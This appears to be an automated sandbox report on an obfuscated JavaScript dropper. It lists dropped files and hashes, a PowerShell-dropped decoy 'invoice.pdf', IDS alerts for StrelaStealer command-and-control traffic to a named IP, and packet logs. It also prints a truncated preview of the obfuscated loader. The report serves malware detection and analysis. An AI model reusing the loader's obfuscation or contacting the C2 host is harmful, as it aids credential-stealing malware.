isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2311e8b1-1e80-4f50-a000-650b558689e6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b3db404e-5c3c-4352-90a6-cd7d485c2aa6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\cb87dcae-4063-4bce-becb-40aa1919f60c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\e05e92ef-15d5-4eb9-af23-8c32bceb51aa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14199), with CRLF line terminators
Entropy (8bit):	4.90432925330289
TrID:
File name:	42384357676028189.js
File size:	17'647 bytes
MD5:	2cac48ec8e0ee3eb460634c2597313b7
SHA1:	82f4cc53560a8eafbcfa412fb009d0dbf5bc530e
SHA256:	3445a347a9003486242e9edc3258100b19efdcab1b536686760cf2cc38e8936a
SHA512:	67e5075e891d5c1e9cc006744df1da50a3e23d537344efdfc0d01d9f506f4294a183003c2cc6c7ba37611bf528228679b33f3ea8b4694efa73384f8859d5e06d
SSDEEP:	384:c3ivOcJFYcKGHkvTgUcxp6slQlyXJBI4oC:xOMFYcKutQlKBI4oC
TLSH:	068263C4D00DDE23C7E851F5795A01DB3E5ADA8FC1AD0CD90E500EC6B6A958623ED8FA
File Content Preview:	function orqttbvub(){edtuljxus=[1031,3079,5127,4103,2055,3072];var htahu=this[ocndanc+tewhpk+laonhvew+vhzym+eoqektw+lnihkjh+yrdxj+vrsflwl](this[veemobwt+uropkftd+xqxtxyi+laonhvew+tryaecmqk+ocndanc+vrsflwl][nybjijtvp+laonhvew+eoqektw+tewhpk+vrsflwl+eoqektw

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:14:32.653425+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T04:14:32.653425+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T04:14:35.287701+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:14:31.867078066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:31.872021914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:31.874988079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:31.881519079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:31.886363983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.653352976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.653378963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.653392076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.653424978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.653542995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.653553963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.653565884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.653575897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.653584957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.653589010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.653625011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.653687954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.653724909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.653738976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.653811932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.696554899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.696567059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.696616888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.778420925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.778439045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.778526068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.778575897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.778620958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.778634071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.778712034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.778829098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.778830051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.779090881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.779155970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.779169083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.779215097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.779257059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.779268980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.779347897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.779879093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.779934883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.779947996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.779983997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.779983997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.780093908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.780107021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.780144930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.780786037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.780853987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.780865908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.780909061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.780949116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.781039000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.781043053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.781748056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.781820059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.783443928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.824841976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.824875116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.824887037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.824942112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.824942112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.865256071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.903857946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.903898001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.903934956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.903954029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.903990984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.904025078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.904031992 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.904057980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.904103041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.904146910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.904200077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.904233932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.904270887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.904274940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.904274940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.904736996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.904772043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.904805899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.904824972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.904879093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.904901981 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.904912949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.904947042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.904982090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.904989004 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.905078888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.905647993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.905679941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.905715942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.905791998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.905813932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.905847073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.905879021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.905914068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.905932903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.906205893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.906538963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.906588078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.906599998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.906621933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.906708956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.906744003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.906763077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.906776905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.906810045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.906877041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.906877041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.907401085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.907455921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.907491922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.907556057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.907599926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.907634020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.907669067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.907706976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.907735109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.907764912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.908363104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.908452988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.908771992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.908806086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.908838034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.908850908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.911655903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.911746979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.911781073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.911828041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.911835909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.911837101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.947135925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.947180986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.947299957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.952011108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.952085018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.952092886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.952121019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.952193022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:32.990592957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.990616083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:32.990798950 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.029370070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029395103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029407024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029454947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029467106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029469967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.029479027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029490948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029520035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.029520035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.029670954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029681921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029723883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.029752970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029762983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029773951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029846907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.029906988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029918909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029948950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.029967070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.030105114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.030117035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.030128956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.030158043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.030246973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.030260086 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.030260086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.030271053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.030282974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.030292034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.030388117 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.030905008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.030915976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.030926943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.031058073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.031069040 CET	80	49710	193.143.1.205	192.168.2.6
